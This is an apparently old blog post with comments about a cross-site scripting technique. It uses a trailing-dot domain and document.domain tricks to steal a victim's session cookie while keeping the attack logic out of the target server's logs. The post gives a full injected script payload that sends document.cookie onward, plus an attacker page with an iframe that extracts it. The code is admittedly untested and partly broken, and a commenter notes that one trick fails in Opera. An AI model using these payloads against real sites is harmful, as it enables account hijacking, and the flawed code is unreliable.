Sadly I have an appalling habit of assuming that the way Firefox does things is the way other browsers do things when it comes to Javascript, and I am constantly missing things because of it.
Anyway; what I only just remembered is that IE and opera treat target.com and target.com. as separate domains, and even if we can interact with target.com. this is almost completely useless to us.
But the goal here is not to allow our domain to talk to another domain. Our goal here is to not have to send our attack logic to the vulnerable web app, where it will be logged by the server.
We can use the same basic concept as in the last post, but instead of having go.php redirect to something which calls our logic from the parent, we will need it to look more like this: (Copy and paste it into notepad because it goes off the side of the page)
<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>document.location = 'http://www.target.com./page.php?vuln=%3Cscript%3Edocument.domain%3D%27com.%27%3Bwindow.parent.logic%28%29%3B%3C/script%3E&cookie='+escape(document.cookie);</script>">
</head>
</html>And then our attack page would have to look something more like this:
<html>
<body>
<script>
document.domain = 'com.';
function logic () {
var loc = window.frames[0].document.location;
var cookie = substr (loc.lastIndexOf("=") + 1);
alert(cookie);
}
</script>
<iframe src="go.php" />
</body>
</html>I have not tested this, but it should be possible to simply extract the cookie from the domain as demonstrated above, then set the same cookie for target.com. but you will run into issues if there are authentication cookies for a subdomain, which you cannot extract, but for most scenarios this should still be workable.
3 comments:
i'm not really sure if the meta referer-trimming trick actually works that way in Opera. did you try that out?
what does work, is doing to a data: url with a onload=document.location.replace in a body tag, seems to clear the referer just fine.
now of course, the data: url-scheme doesn't work in IE, right?
spell correction: 'doing' should be 'going' of course :)
You're completely right, the meta refresh trick doesn't work in Opera.
I'll fix that soon, but thanks for the tip of using data: URLs, :)
But no, the data scheme doesn't work in IE.
Post a Comment